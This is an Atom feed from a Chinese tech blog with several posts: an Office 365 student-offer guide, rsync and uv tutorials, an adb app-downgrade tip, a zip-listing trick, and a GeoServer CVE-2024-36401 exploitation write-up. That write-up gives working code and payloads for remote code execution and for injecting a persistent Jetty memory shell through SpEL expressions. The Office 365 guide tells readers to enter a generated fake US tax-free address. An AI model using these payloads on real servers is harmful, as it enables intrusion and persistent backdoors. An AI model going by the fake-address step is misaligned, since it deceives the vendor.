<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/rss/atom-styles.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>OopsUnix</title>
  <subtitle>It&#039;s a long and beautiful life.</subtitle>
  <link href="https://oopsunix.com//atom.xml" rel="self" type="application/atom+xml"/>
  <link href="https://oopsunix.com/" rel="alternate" type="text/html"/>
  <updated>2026-03-31T16:27:17.264Z</updated>
  <language>en</language>
  <id>https://oopsunix.com//</id>
  <author>
    <name>OopsUnix</name>
    <uri>https://oopsunix.com/</uri>
  </author>
  <generator uri="https://github.com/Dnzzk2/Litos" version="5.0">Astro Litos Theme</generator>
  <rights>Copyright © 2026 OopsUnix</rights>
  
  <entry>
    <title>Office365教育优惠五年领取</title>
    <link href="https://oopsunix.com//posts/microsoft-365-student" rel="alternate" type="text/html"/>
    <id>https://oopsunix.com//posts/microsoft-365-student</id>
    <updated>2026-01-21T00:00:00.000Z</updated>
    <published>2026-01-21T00:00:00.000Z</published>
    <author>
      <name>OopsUnix</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[
<h1>Office365教育优惠五年领取</h1>
<p>所需资料：</p>
<ul>
<li>美区节点</li>
<li>境外银行卡（Visa、万事达）</li>
<li>Google 账户</li>
<li>教育邮箱</li>
</ul>
<h2>前提</h2>
<p>修改 Microsoft 账户国家为美国：<a href="https://account.microsoft.com/profile" rel="noopener noreferrer" target="_blank">https://account.microsoft.com/profile</a></p>
<p>提前在 Google Pay 中绑定银行卡：<a href="https://wallet.google.com/wallet/u/0/paymentmethods" rel="noopener noreferrer" target="_blank">https://wallet.google.com/wallet/u/0/paymentmethods</a></p>
<h2>流程</h2>
<div><div><div></div><div>IMPORTANT</div></div><div><p>链接要按顺序点击，第一个过了再买第二个</p></div></div>
<h3>链接一</h3>
<p>访问：<a href="https://checkout.microsoft365.com/acquire/purchase?language=zh-TW&amp;market=US&amp;requestedDuration=Month&amp;scenario=microsoft-365-student&amp;client=poc&amp;campaign=StudentFree12M" rel="noopener noreferrer" target="_blank">https://checkout.microsoft365.com/acquire/purchase?language=zh-TW&amp;market=US&amp;requestedDuration=Month&amp;scenario=microsoft-365-student&amp;client=poc&amp;campaign=StudentFree12M</a></p>
<p><strong>选择 Google Pay支付（必需，不然无法多领几年）</strong></p>
<img src="./assets/image-20260121134714176.png" alt="" />
<p>填写教育邮箱，并前往教育邮箱查看邮件</p>
<img src="./assets/image-20260121163654188.png" alt="image-20260121163654188" />
<p>点击邮件中的链接，如果出现这个错误，尝试重新打开链接，并刷新上面第一个链接</p>
<img src="./assets/image-20260121135926361.png" alt="image-20260121135926361" />
<p>此时，如果第一个链接的界面中的蓝色按钮变成“新增账单地址”，则表示验证通过了，</p>
<img src="./assets/image-20260121140042158.png" alt="image-20260121140042158" />
<p>使用<a href="https://www.meiguodizhi.com/" rel="noopener noreferrer" target="_blank">美国地址生成</a>，生成免税州地址【<strong>阿拉斯加州</strong>（Alaska）、<strong>特拉华州</strong>（Delaware）、<strong>蒙大拿州</strong>（Montana）、<strong>新罕布什尔州</strong>（New Hampshire）、俄勒冈州（Oregon）】</p>
<img src="./assets/image-20260121140129226.png" alt="image-20260121140129226" />
<p>填写地址，继续下一步，显示“已成功驗證您的學生狀態”，点击开始使用按钮</p>
<img src="./assets/image-20260121140455350.png" alt="image-20260121140455350" />
<p>点击“开始使用”按钮，等待调用 Google Pay 付款信息验证成功，</p>
<img src="./assets/image-20260121141624803.png" alt="image-20260121141624803" />
<h3>链接二</h3>
<p>打开链接：<a href="https://checkout.microsoft365.com/acquire/purchase?language=zh-TW&amp;market=US&amp;requestedDuration=Month&amp;scenario=microsoft-365-premium&amp;client=poc&amp;campaign=StudentPremiumFree12M" rel="noopener noreferrer" target="_blank">https://checkout.microsoft365.com/acquire/purchase?language=zh-TW&amp;market=US&amp;requestedDuration=Month&amp;scenario=microsoft-365-premium&amp;client=poc&amp;campaign=StudentPremiumFree12M</a></p>
<p>如果打开失败，尝试重新访问链接<img src="./assets/image-20260121141756267.png" alt="image-20260121141756267" /></p>
<p>显示的是一个月，流程基本一样，重复之前的步骤即可</p>
<img src="./assets/image-20260121142224740.png" alt="image-20260121142224740" />
<p>点击“开始使用”，跳转到账户首页查看</p>
<img src="./assets/image-20260121143142002.png" alt="image-20260121143142002" />]]></content>
    <category term="Office365" />
  </entry>
  <entry>
    <title>使用 Rsync 实现服务器之间的高效文件同步</title>
    <link href="https://oopsunix.com//posts/rsync" rel="alternate" type="text/html"/>
    <id>https://oopsunix.com//posts/rsync</id>
    <updated>2025-09-07T00:00:00.000Z</updated>
    <published>2025-09-07T00:00:00.000Z</published>
    <author>
      <name>OopsUnix</name>
    </author>
    <summary type="text">使用 Rsync 实现服务器之间的高效文件同步</summary>
    <content type="html"><![CDATA[
<h2>使用 Rsync 实现服务器之间的高效文件同步</h2>
<p><strong>Rsync</strong>是一款功能强大且多功能的文件复制工具，可让您<strong>同步本地和远程目录</strong>。它可用于在两台计算机之间复制文件和目录，或使同一台计算机上的两个目录保持同步。</p>
<p>Rsync 非常高效，因为它只传输自上次同步以来已更改的文件部分。这使得它非常适合同步包含大量经常更改的文件的大型目录。</p>
<ul>
<li>通过 SSH 同步目录，</li>
<li>在传输过程中压缩数据，</li>
<li>保留文件权限和时间戳，</li>
<li>删除目标目录中源目录中不存在的文件。</li>
</ul>
<p><strong>Rsync 语法：</strong></p>
<pre><code>rsync [options] [source] [destination]
</code></pre>
<p><strong>Rsync常用选项</strong>：</p>
<ul>
<li><code>-a</code> (<code>--archive</code>)：存档模式；此选项可确保保留符号链接、权限、时间戳和其他重要信息。</li>
<li><code>-v</code> (<code>--verbose</code>)：增加详细程度。</li>
<li><code>-r</code> (<code>--recursive</code>)：递归同步目录。</li>
<li><code>--delete</code>：从目标中删除源中不存在的文件。如果您想要文件同步，则应该使用此选项。</li>
<li><code>-z</code> (<code>--compress</code>)：在传输过程中压缩数据。</li>
<li><code>-h</code> (<code>--人类可读</code>)：以人类可读的格式显示数字。</li>
<li><code>-P</code>：结合<code>--partial</code>（保留部分传输的文件）和<code>--progress</code>（显示传输过程中的进度）。</li>
</ul>
<p>确保两个服务器上都安装了 rysnc，并且对源目录和目标目录都具有必要的权限。</p>
<pre><code>rsync -avzhP remoteuser@remote_host:/var/www/production_site/ /home/myuser/site_backup/
</code></pre>
<p><strong>参考链接：</strong></p>
<ul>
<li><a href="https://cn.linux-terminal.com/?p=4264" rel="noopener noreferrer" target="_blank">https://cn.linux-terminal.com/?p=4264</a></li>
</ul>]]></content>
    <category term="Tools" />
  </entry>
  <entry>
    <title>uv -- Python 包与环境管理工具</title>
    <link href="https://oopsunix.com//posts/uv" rel="alternate" type="text/html"/>
    <id>https://oopsunix.com//posts/uv</id>
    <updated>2025-06-15T00:00:00.000Z</updated>
    <published>2025-06-15T00:00:00.000Z</published>
    <author>
      <name>OopsUnix</name>
    </author>
    <summary type="text">uv 是一个由 Astral 公司用 Rust 开发的高性能 Python 包管理工具，旨在提供比传统 pip 更快的包安装和依赖管理体验。</summary>
    <content type="html"><![CDATA[
<h1>uv — Python 包与环境管理工具</h1>
<h2>uv 介绍</h2>
<p>uv 是一个由 Astral 公司用 Rust 开发的高性能 Python 包管理工具，旨在提供比传统 pip 更快的包安装和依赖管理体验。</p>
<p>与传统的 Python 包管理工具相比，uv 具有以下显著优势：</p>
<ul>
<li><strong>🚀 一体化工具</strong>：一个工具替代 pip、pip-tools、pipx、poetry、pyenv、twine、virtualenv 等多种工具</li>
<li><strong>⚡️ 极致速度</strong>：比 pip 快 10-100 倍</li>
<li><strong>🗂️ 全面项目管理</strong>：提供通用锁文件的综合项目管理功能</li>
<li><strong>❇️ 脚本运行</strong>：支持带有内联依赖元数据的脚本运行</li>
<li><strong>🐍 Python版本管理</strong>：安装和管理不同的 Python 版本</li>
<li><strong>💾 高效磁盘空间利用</strong>：通过全局缓存实现依赖去重</li>
<li><strong>⏬ 简易安装</strong>：无需 Rust 或 Python 环境，可通过 curl 或 pip 直接安装</li>
<li><strong>🖥️ 多平台支持</strong>：支持 macOS、Linux 和 Windows 系统</li>
</ul>
<h2>uv 安装</h2>
<h3>使用官方安装脚本（推荐）</h3>
<pre><code># Linux/macOS
curl -LsSf https://astral.sh/uv/install.sh | sh
</code></pre>
<pre><code># Windows
powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
</code></pre>
<h3>使用包管理器</h3>
<h4><strong>Homebrew</strong></h4>
<pre><code># macOS (Homebrew)
brew install uv
</code></pre>
<h4><strong>WinGet</strong></h4>
<pre><code>winget install --id=astral-sh.uv  -e
</code></pre>
<h4><strong>Scoop</strong></h4>
<pre><code>scoop install main/uv
</code></pre>
<h4><strong>PyPI</strong></h4>
<pre><code>pip install uv
</code></pre>
<p>安装完成后，可以通过以下命令验证安装是否成功：</p>
<pre><code>uv --version
</code></pre>
<h2>uv 安装 Python</h2>
<p>如果系统中已安装 Python，uv 会<strong>自动检测并使用</strong>，无需额外配置。不过，uv 也能够安装和管理 Python 版本。同时 uv 会根据需要<strong>自动安装</strong>缺失的 Python 版本，因此你无需预先安装 Python 即可上手。</p>
<div><div><div></div><div>NOTE</div></div><div><p>Python 官方并未发布可分发的二进制文件。因此，uv 使用的是 Astral 的<a href="https://github.com/astral-sh/python-build-standalone" rel="noopener noreferrer" target="_blank"><code>python-build-standalone</code></a> 项目提供的发行版。更多详细信息，请参阅[Python 发行版](<a href="https://uv.doczh.com/concepts/python-versions/#%E5%8F%97%E7%AE%A1%E7%90%86%E7%9A%84" rel="noopener noreferrer" target="_blank">https://uv.doczh.com/concepts/python-versions/#受管理的</a> Python 发行版)文档。</p></div></div>
<div><div><div></div><div>IMPORTANT</div></div><div><p>uv 安装的 Python 不会全局可用（即无法通过 <code>python</code> 命令调用）。</p></div></div>
<p>安装最新版本的 Python：</p>
<pre><code>uv python install
</code></pre>
<p>安装特定版本的 Python：</p>
<pre><code>uv python install 3.12
</code></pre>
<p>安装多个 Python 版本：</p>
<pre><code>uv python install 3.11 3.12
</code></pre>
<h2>uv 运行 Python 项目</h2>
<p>uv 使用 <code>pyproject.toml</code> 文件进行项目管理，这是现代 Python 项目的标准配置文件。</p>
<h3>初始化项目</h3>
<p>项目根目录下运行以下命令：</p>
<pre><code>uv init --project .
</code></pre>
<p>这会创建基本的项目结构和 <code>pyproject.toml</code> 文件，并根据项目结构自动填充一些基本信息。</p>
<h3>初始化虚拟环境</h3>
<pre><code>uv venv        # 在当前目录创建虚拟环境
uv venv .venv  # 在指定目录创建虚拟环境
</code></pre>
<div><div><div></div><div>NOTE</div></div><div><p>直接运行项目启动文件，例如： <code>main.py</code> 也会自动创建虚拟环境</p></div></div>
<h3>激活虚拟环境</h3>
<pre><code># Linux/macOS
source .venv/bin/activate

# Windows
.venv\Scripts\activate
</code></pre>
<h3>添加依赖</h3>
<p>使用 <code>uv add</code> 命令可以向项目添加依赖。该命令会自动更新 pyproject.toml 文件、锁文件和项目环境：</p>
<pre><code># 添加单个包
uv add requests

# 指定版本约束
uv add 'requests==2.31.0'

# 添加 Git 依赖
uv add git+https://github.com/psf/requests

# 从 requirements.txt 文件添加所有依赖
uv add -r requirements.txt
</code></pre>
<h3>卸载依赖</h3>
<p>使用 <code>uv remove</code> 命令可以删除项目依赖：</p>
<pre><code>uv remove requests
</code></pre>
<h3>升级依赖</h3>
<p>使用 <code>uv lock</code> 命令配合 <code>--upgrade-package</code> 参数可以升级指定包：</p>
<pre><code># 升级特定包
uv lock --upgrade-package requests
</code></pre>
<h3>运行项目命令</h3>
<p><code>uv run</code> 命令可以在项目环境中运行脚本或命令。在每次运行前，UV 会验证锁文件是否与 <code>pyproject.toml</code> 同步，并确保环境与锁文件一致：</p>
<pre><code># 运行 Python 脚本
uv run main.py
</code></pre>
<h3>迁移现有的 Python 项目到 uv</h3>
<h4>初始化 <code>pyproject.toml</code></h4>
<p>使用 <code>uv init</code> 命令的 <code>--bare</code> 选项将仅创建 <code>pyproject.toml</code>，禁止创建额外文件，如 <code>README.md</code>、<code>src/</code> 目录树、<code>.python-version</code> 文件等。</p>
<pre><code>uv init --bare
</code></pre>
<h4>添加项目依赖</h4>
<ol>
<li>
<p>如果项目中存在 <code>requirements.txt</code> 文件，可以使用以下命令安装所有依赖，并同步添加到<code>pyproject.toml</code>文件中：</p>
<pre><code>uv add -r requirements.txt
</code></pre>
<p>uv 会自动解析 <code>requirements.txt</code> 文件，并将其中的依赖添加到 <code>pyproject.toml</code> 的 <code>dependencies</code> 部分。</p>
</li>
<li>
<p>如果项目中存在 <code>pyproject.toml</code> 文件，可以使用以下命令使用现有的 <code>pyproject.toml</code>：</p>
<pre><code>uv sync
</code></pre>
</li>
</ol>
<h2>uv 设置国内镜像源</h2>
<p>uv 支持在项目、全局使用配置文件。</p>
<p>uv 会读取以下位置的配置文件（按优先级从高到低）：</p>
<ul>
<li><code>UV_CONFIG_FILE</code> 环境变量指定的文件</li>
<li><code>./uv.toml</code></li>
<li><code>~/.uv/uv.toml</code></li>
<li><code>~/.config/uv/uv.toml</code></li>
</ul>
<div><div><div></div><div>CAUTION</div></div><div><p>若同时使用 pip 和 uv，镜像源需分别配置（uv 不读取 pip 的配置）</p></div></div>
<h4>全局配置：</h4>
<ul>
<li>
<p><strong>Linux &amp; MacOS：</strong></p>
<pre><code>mkdir ~/.config/uv &amp;&amp; vim ~/.config/uv/uv.toml
</code></pre>
</li>
<li>
<p><strong>Windows：</strong></p>
<pre><code>%APPDATA%\uv\uv.toml
</code></pre>
</li>
<li>
<p>在该文件中添加以下内容：</p>
<pre><code>[[index]]
url = "https://pypi.tuna.tsinghua.edu.cn/simple"
default = true
</code></pre>
</li>
</ul>
<h4>项目配置：</h4>
<ul>
<li>
<p>**文件路径：**项目目录下的 pyproject.toml</p>
</li>
<li>
<p>在该文件中添加以下内容：</p>
</li>
</ul>
<pre><code>[[tool.uv.index]]
url = "https://pypi.tuna.tsinghua.edu.cn/simple"
default = true
</code></pre>
<h4>常用国内镜像源</h4>
<ul>
<li>清华大学：<code>https://pypi.tuna.tsinghua.edu.cn/simple</code></li>
<li>阿里云：<code>https://mirrors.aliyun.com/pypi/simple/</code></li>
<li>腾讯云：<code>https://mirrors.cloud.tencent.com/pypi/simple</code></li>
<li>华为云：<code>https://repo.huaweicloud.com/repository/pypi/simple</code></li>
</ul>]]></content>
    <category term="Tools" />
  </entry>
  <entry>
    <title>Android 14 通过 adb 保留数据降级软件</title>
    <link href="https://oopsunix.com//posts/android14-app-downgrade" rel="alternate" type="text/html"/>
    <id>https://oopsunix.com//posts/android14-app-downgrade</id>
    <updated>2024-10-30T00:00:00.000Z</updated>
    <published>2024-10-30T00:00:00.000Z</published>
    <author>
      <name>TLDRO</name>
    </author>
    <summary type="text">在高版本安卓中实现保留数据降级软件版本。</summary>
    <content type="html"><![CDATA[
<h1>Android 14 通过 adb 保留数据降级软件</h1>
<p>在高版本安卓中，通过<code>adb install -d -r file.apk</code> 似乎已经无法保留数据降级了，需要先保留数据卸载再重新安装旧版本安装包才能正常降级。</p>
<p>此方法理论上适用Android 14 ±任意几个版本</p>
<p>首先确保已经安装好<a href="https://android-docs.cn/tools/releases/platform-tools" rel="noopener noreferrer" target="_blank">platform-tools</a>，将设备连接到电脑，打开一个cmd窗口：</p>
<ol>
<li>
<p>保留数据卸载原版本：</p>
<pre><code>adb shell cmd package uninstall -k com.tencent.mm
</code></pre>
<p><em>这里以微信</em><code>com.tencent.mm</code><em>为例，将其替换成你需要卸载的包名</em></p>
</li>
<li>
<p>重启设备 <strong>==【重要】==</strong></p>
<pre><code>adb reboot
</code></pre>
</li>
<li>
<p>重新安装旧版本安装包：</p>
<pre><code>adb install wechat.apk
</code></pre>
<p>其中<code>wechat.apk</code>替换成需要安装的安装包路径</p>
</li>
</ol>]]></content>
    <category term="Android" />
  </entry>
  <entry>
    <title>GeoServer JDK 11-22 通杀内存马利用总结(CVE-2024-36401)</title>
    <link href="https://oopsunix.com//posts/cve-2024-36401" rel="alternate" type="text/html"/>
    <id>https://oopsunix.com//posts/cve-2024-36401</id>
    <updated>2024-08-21T00:00:00.000Z</updated>
    <published>2024-08-21T00:00:00.000Z</published>
    <author>
      <name>OopsUnix</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[
<h2>前序</h2>
<p>看到了Numen Cyber Labs发表的《<a href="https://mp.weixin.qq.com/s/jCOp9A-qO8ViqLx3ui0XHg" rel="noopener noreferrer" target="_blank">CVE-2024-36401 JDK 11-22 通杀内存马</a>》一文，通过SpEL表达式执行的方式完成JDK 11 - 22的全版本JDK内存马注入攻击，想着师傅思路都写得这么详细了，本地复现一下还不是有手就行，结果不出意外的失败了。</p>
<p>本文通过 SpEL 表达式执行的方式完成对GeoServer(CVE-2024-36401)漏洞下高版本JDK内存马注入攻击的利用，并对利用过程中进行总结。</p>
<h2><strong>SpEL 注入内存马</strong></h2>
<p><strong>1. JMG生成内存马</strong></p>
<p>首先利用JMG生成内存马注入代码，由于通过bin形式安装默认是Jetty，这里选择Jetty类型，注入器类名需要在<code>org.springframework.expression</code>下，这里定义个<code>Test</code></p>
<img src="./assets/image-20240821145018967.png" alt="image-20240821145018967" />
<p><strong>2. Bypass JDK16+ 反射限制</strong></p>
<p>为了绕过JDK16+ 的反射限制，我们需要在内存马中添加反射绕过代码，可以选择修改JMG的代码实现，这里我们选择对 JMG 生成的字节码进行反编译，在反编译后的代码中添加反射绕过代码，并对后续需要压缩字符串长度的需求做准备。</p>
<p>在反编译后的代码中找到<code>getListener</code>方法，在<code>byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));</code>这一行前添加如下反射绕过代码：</p>
<pre><code>Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Module module = Object.class.getModule();
Class cls = HelpUtils.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(cls, offset, module);
</code></pre>
<p>其中<code>HelpUtils</code>需要替换成当前类名，这里替换成<code>Test</code></p>
<img src="./assets/image-20240821150229256.png" alt="image-20240821150229256" />
<ol>
<li><strong>编译生成<code>gzip + Base64</code>字节码</strong></li>
</ol>
<p>由于JMG 的 Payload 是直接使用 Base64 编码的，部分类型的内存马直接使用会因为字符串长度超过了 10,000，而触发<code>SpEL expression is too long, exceeding the threshold of '10,000' characters</code>异常，因此我们需要把字节码的字符串压缩到10,000以内，可以通过以下步骤进行：</p>
<p><strong>(1). 手动编译恶意字节码</strong></p>
<pre><code>javac -g:none .\Test.java -Xlint:unchecked  -Xlint:deprecation
</code></pre>
<p><strong>(2). gzip 压缩字节码后转换成 Base64 输出</strong></p>
<p>这里提供一个java代码进行上述操作，<strong>需要修改的是代码中的<code>javaFilePath</code>和<code>javacPath</code></strong>:</p>
<pre><code>import java.io.*;
import java.util.Base64;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPOutputStream;

public class Evil {

    public static void main(String[] args) {
        // 内存马代码文件
        String javaFilePath = "Test.java";
        String classFilePath = getClassNameFromJavaPath(javaFilePath) + ".class";
        // 输出'gzip + Base64'的恶意字节码到文件
        String outputFilePath = "SpELMemShell.txt";

        try {
            // 编译 .java 文件
            compileJavaFile(javaFilePath);

            // 检查 .class 文件是否已生成
            if (!new File(classFilePath).exists()) {
                throw new FileNotFoundException("The compiled class file was not generated.");
            }

            // 压缩并编码 .class 文件
            String base64String = compressAndEncodeClassFile(classFilePath);

            // 写入文件
            writeToFile(outputFilePath, base64String);
        } catch (IOException e) {
            System.err.println("Error processing the file: " + e.getMessage());
        }
    }

    private static void compileJavaFile(String javaFilePath) throws IOException {
        // 内存马中的Object.class.getModule()方法是在Java 9及更高版本中引入的，因此需要指定使用Java 9+的javac进行编译
        String javacPath = "D:\\SDE\\Java\\jdk-11.0.21\\bin\\javac.exe";

        List&lt;String&gt; command = new ArrayList&lt;&gt;();
        command.add(javacPath); // 使用 javac 的完整路径
        command.add("-g:none");
        command.add("-Xlint:unchecked");
        command.add("-Xlint:deprecation");
        command.add(javaFilePath);

        ProcessBuilder processBuilder = new ProcessBuilder(command);
        Process process = processBuilder.start();

        // 等待编译完成
        try {
            int exitCode = process.waitFor();
            if (exitCode != 0) {
                BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
                String line;
                while ((line = errorReader.readLine()) != null) {
                    System.err.println(line);
                }
                throw new RuntimeException("Compilation failed with exit code " + exitCode);
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new IOException("Compilation interrupted", e);
        }
    }

    private static String compressAndEncodeClassFile(String classFilePath) throws IOException {
        byte[] classData = readFile(classFilePath);

        // 使用 gzip 进行压缩
        byte[] compressedData = compress(classData);

        // 将压缩后的数据转换为 Base64 编码
        String encodedCompressedData = Base64.getEncoder().encodeToString(compressedData);

        // 输出原始长度和新的 Base64 编码长度
        System.out.println("Original Base64 encoded string length: " + classData.length);
        System.out.println("New Base64 encoded string length after gzip compression: " + encodedCompressedData.length());

        return encodedCompressedData;
    }

    private static byte[] readFile(String filePath) throws IOException {
        try (FileInputStream fis = new FileInputStream(filePath)) {
            byte[] data = new byte[fis.available()];
            fis.read(data);
            return data;
        }
    }

    private static byte[] compress(byte[] data) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (GZIPOutputStream gzos = new GZIPOutputStream(baos)) {
            gzos.write(data);
        }
        return baos.toByteArray();
    }

    private static void writeToFile(String filePath, String content) throws IOException {
        try (BufferedWriter writer = new BufferedWriter(new FileWriter(filePath))) {
            writer.write(content);
        }
    }

    private static String getClassNameFromJavaPath(String javaFilePath) {
        String fileName = new File(javaFilePath).getName();
        return fileName.substring(0, fileName.indexOf('.'));
    }
}
</code></pre>
<p><strong>4. 替换SpEL Payload</strong></p>
<p>最后我们将字符串替换到 Payload 中<code>gzip + Base64</code>的位置</p>
<pre><code>POST /geoserver/wfs HTTP/1.1
Host: 192.168.150.147:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.1 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 9160

&lt;wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'&gt;
  &lt;wfs:Query typeNames='sf:archsites'/&gt;
  &lt;wfs:valueReference&gt;toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))")))
&lt;/wfs:valueReference&gt;
&lt;/wfs:GetPropertyValue&gt;
</code></pre>
<p><strong>5. 发送报文，一键注入内存马</strong></p>
<img src="./assets/image-20240821160558209.png" alt="image-20240821160558209" />
<h2>其他POC</h2>
<h3>命令执行测试</h3>
<pre><code>&lt;wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'&gt;
  &lt;wfs:Query typeNames='sf:archsites'/&gt;
  &lt;wfs:valueReference&gt;exec(java.lang.Runtime.getRuntime(),'calc')
&lt;/wfs:valueReference&gt;
&lt;/wfs:GetPropertyValue&gt;
</code></pre>
<h3>DNSLog测试</h3>
<pre><code>&lt;wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'&gt;
  &lt;wfs:Query typeNames='sf:archsites'/&gt;
  &lt;wfs:valueReference&gt;java.net.InetAddress.getAllByName("xxx.dnslog.xxx")
&lt;/wfs:valueReference&gt;
&lt;/wfs:GetPropertyValue&gt;
</code></pre>
<h3>基于时间的延迟测试</h3>
<p><strong>Payload(1):</strong></p>
<pre><code>&lt;wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'&gt;
  &lt;wfs:Query typeNames='sf:archsites'/&gt;
  &lt;wfs:valueReference&gt;java.lang.Thread.sleep(2000)
&lt;/wfs:valueReference&gt;
&lt;/wfs:GetPropertyValue&gt;
</code></pre>
<p><strong>Payload(2):</strong></p>
<pre><code>&lt;wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'&gt;
  &lt;wfs:Query typeNames='sf:archsites'/&gt;
  &lt;wfs:valueReference&gt;
/+java.lang.T&lt;!--IgnoreMe!!!!--&gt;hread.s[(: IGNORE :)]leep
   &lt;![CDATA[
(2000)
]]&gt;
  &lt;/wfs:valueReference&gt;
&lt;/wfs:GetPropertyValue&gt;
</code></pre>
<h3>SpEL命令执行</h3>
<p><strong>Payload(1):</strong></p>
<pre><code>&lt;wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'&gt;
  &lt;wfs:Query typeNames='sf:archsites'/&gt;
    &lt;wfs:valueReference&gt;getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(java.lang.Runtime).getRuntime().exec('control')"))
&lt;/wfs:valueReference&gt;
&lt;/wfs:GetPropertyValue&gt;
</code></pre>
<p><strong>Payload(2):</strong></p>
<pre><code>&lt;wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'&gt;
  &lt;wfs:Query typeNames='sf:archsites'/&gt;
  &lt;wfs:valueReference&gt;getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('Y2FsYw==')))"))
&lt;/wfs:valueReference&gt;
&lt;/wfs:GetPropertyValue&gt;
</code></pre>
<h2>总结</h2>
<p>本文是对Numen Cyber Labs师傅通过 SpEL 表达式执行的方式完成内存马注入攻击的一次利用总结，并对利用过程中发现的问题进行Payload完善，例如：</p>
<ul>
<li>打这个漏洞如果返回<code>java.lang.ClassCastException</code>是正常的，返回<code>No such attribute</code>就说明有问题了。</li>
<li>原文中并没有给出最终的payload，在给出解决的 Payload 中：<code>T(java.lang.Class).forName("org.springframework.expression.ExpressionParser")</code>因为使用了""，在利用时会因为xpath格式校验而触发异常，所以需要注意单双引号的使用。</li>
<li>最终的Payload添加对<code>gzip + Base64</code>处理的代码。</li>
</ul>
<p>最后，再次感谢Numen Cyber Labs师傅提供的思路。</p>
<h2>参考</h2>
<ul>
<li><a href="https://mp.weixin.qq.com/s/beRJ8-HOMJbA43jYMMS0Pg" rel="noopener noreferrer" target="_blank">GeoServer property RCE注入内存马 (qq.com)</a></li>
<li><a href="https://mp.weixin.qq.com/s/jCOp9A-qO8ViqLx3ui0XHg" rel="noopener noreferrer" target="_blank">CVE-2024-36401 JDK 11-22 通杀内存马 (qq.com)</a></li>
<li><a href="https://github.com/pen4uin/java-memshell-generator" rel="noopener noreferrer" target="_blank">https://github.com/pen4uin/java-memshell-generator</a></li>
<li><a href="https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401" rel="noopener noreferrer" target="_blank">https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401</a></li>
</ul>]]></content>
    <category term="CVE" />
    <category term="漏洞利用" />
    <category term="GeoServer" />
  </entry>
  <entry>
    <title>不下载zip文件获取文件列表</title>
    <link href="https://oopsunix.com//posts/tips-zip-list" rel="alternate" type="text/html"/>
    <id>https://oopsunix.com//posts/tips-zip-list</id>
    <updated>2024-08-15T00:00:00.000Z</updated>
    <published>2024-08-15T00:00:00.000Z</published>
    <author>
      <name>OopsUnix</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[
<p>一个小Tip，可以在用来下载大文件zip压缩包之前，先知晓压缩包中的文件列表</p>
<blockquote><p>zip文件的目录信息存储在文件的尾部，因此我们只需要下载最后面一点点内容就能看到里面都有些什么文件。</p></blockquote>
<h2>以vscode为例</h2>
<ol>
<li>先用cURL请求查看一下响应头</li>
</ol>
<pre><code>curl -I https://vscode.download.prss.microsoft.com/dbazure/download/stable/fee1edb8d6d72a0ddff41e5f71a671c23ed924b9/VSCode-win32-x64-1.92.2.zip
</code></pre>
<pre><code>HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 139516845
Cache-Control: public, max-age=86400
Content-Disposition: attachment; filename=VSCode-win32-x64-1.92.2.zip; filename*=UTF-8''VSCode-win32-x64-1.92.2.zip
Content-Type: application/octet-stream
Etag: "0x384303F8B4C49AFF47F905A745E5A4A7358E23744DCDE3FD92F66EA3C92B3687"
